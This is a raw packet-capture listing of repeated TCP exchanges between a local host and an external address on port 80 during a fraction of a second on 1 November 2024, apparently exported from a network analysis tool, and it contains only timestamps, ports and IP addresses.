Nov 1, 2024 00:38:58.540025949 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.540035009 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.540039062 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.540052891 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.540054083 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.540066957 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.540076017 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.540081024 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.540096045 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.540105104 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.540107965 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.540118933 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.540122986 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.540148020 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.540174007 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.540175915 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.540185928 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.540209055 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.540221930 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.611299038 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.611370087 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.611385107 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.611397028 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.611407995 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.611418962 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.611458063 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.611504078 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.654792070 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.654808044 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.654819012 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.654834986 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.654850006 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.654861927 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.654861927 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.654881954 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.654894114 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.654907942 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.654910088 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.654926062 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.654930115 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.654938936 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.654947996 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.654973030 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.654989958 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.654999971 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655033112 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655064106 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655082941 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655097961 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655105114 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655133009 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655289888 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655303001 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655319929 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655333042 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655338049 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655354977 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655359030 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655380964 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655386925 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655395031 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655396938 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655412912 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655420065 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655427933 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655428886 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655447006 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655467987 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655497074 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655536890 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655548096 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655575037 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655581951 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655596018 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655601025 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655608892 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655632973 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655642033 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655670881 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655704975 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655729055 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655745029 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655756950 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655767918 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655774117 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655778885 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655793905 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655821085 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655826092 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655837059 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655853033 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655869961 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655891895 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655900002 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655913115 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655936956 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.655951977 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.655953884 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.656002045 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656022072 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656033993 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656039953 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.656097889 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656111002 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656124115 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656126022 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.656126022 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.656133890 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.656167030 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.656359911 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656402111 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.656475067 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656486034 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656496048 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656511068 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656512022 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.656521082 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.656523943 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656544924 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.656546116 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656568050 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.656594038 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656594038 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.656626940 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.656819105 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656831026 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656852007 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656858921 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.656867027 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656872034 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.656883001 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656888962 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.656903982 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656905890 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.656920910 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656928062 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.656933069 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.656948090 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.656960011 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.656970978 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657000065 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657011032 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657021999 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657046080 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657069921 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657073975 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657093048 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657104015 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657130003 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657150030 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657151937 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657162905 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657175064 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657200098 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657224894 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657408953 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657418966 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657430887 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657454967 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657480001 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657480001 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657491922 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657505989 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657519102 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657530069 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657541037 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657552958 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657558918 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657567024 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657573938 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657601118 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657615900 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657625914 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657638073 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657660961 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657675982 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657685041 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657695055 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657712936 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657727003 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657727957 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657738924 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657753944 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657779932 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657785892 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657821894 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657845020 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657855988 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657881021 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657895088 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.657963991 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657974958 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657985926 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.657996893 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.658011913 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.658011913 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.658035994 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.658051968 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.658056974 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.658133984 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.658145905 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.658158064 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.658207893 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.658207893 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.658221006 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.658232927 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.658245087 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.658263922 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.658279896 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.658304930 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.658315897 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.658351898 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.700781107 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.700793982 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.700835943 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.728948116 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.729007959 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.729017973 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.729036093 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.729046106 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.729063988 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.729090929 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.729125023 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.729137897 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.729147911 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.729168892 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.729202032 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.773345947 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773359060 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773396969 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.773411036 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.773504972 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773561954 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773607969 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773608923 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.773622036 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773636103 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773648024 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773648977 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.773664951 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773677111 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.773685932 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773704052 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773711920 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.773719072 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773737907 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.773762941 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.773868084 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773879051 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773889065 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773902893 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773911953 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.773916960 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773931026 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.773932934 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773947954 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773957014 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.773961067 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773967981 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.773976088 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773989916 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.773999929 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.774012089 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774027109 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.774030924 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774044991 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774056911 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774072886 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774075985 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.774092913 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.774111032 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.774116993 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774128914 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774141073 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774152994 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774167061 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774172068 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.774198055 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.774231911 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774244070 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774254084 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774279118 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.774296045 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.774306059 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774317980 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774328947 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774353027 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774359941 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.774386883 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.774513960 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774525881 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774532080 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774543047 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774554968 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774569035 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774574995 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.774589062 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774595976 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.774607897 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.774636030 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.774820089 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774837017 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774848938 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774863958 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.774874926 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.774888992 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.774899006 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774910927 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774920940 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.774940968 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.774960041 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.775147915 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.775158882 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.775168896 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.775180101 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.775192976 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.775197029 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.775207043 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.775221109 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.775226116 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.775239944 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.775264025 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.775269985 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.775276899 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.775317907 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.775361061 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.775372028 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.775382996 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.775407076 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.775423050 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.775518894 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.775531054 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.775543928 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.775556087 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.775557041 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.775590897 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.775597095 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.775604010 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.775626898 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.775655985 CET	49948	80	192.168.2.6	185.215.113.16
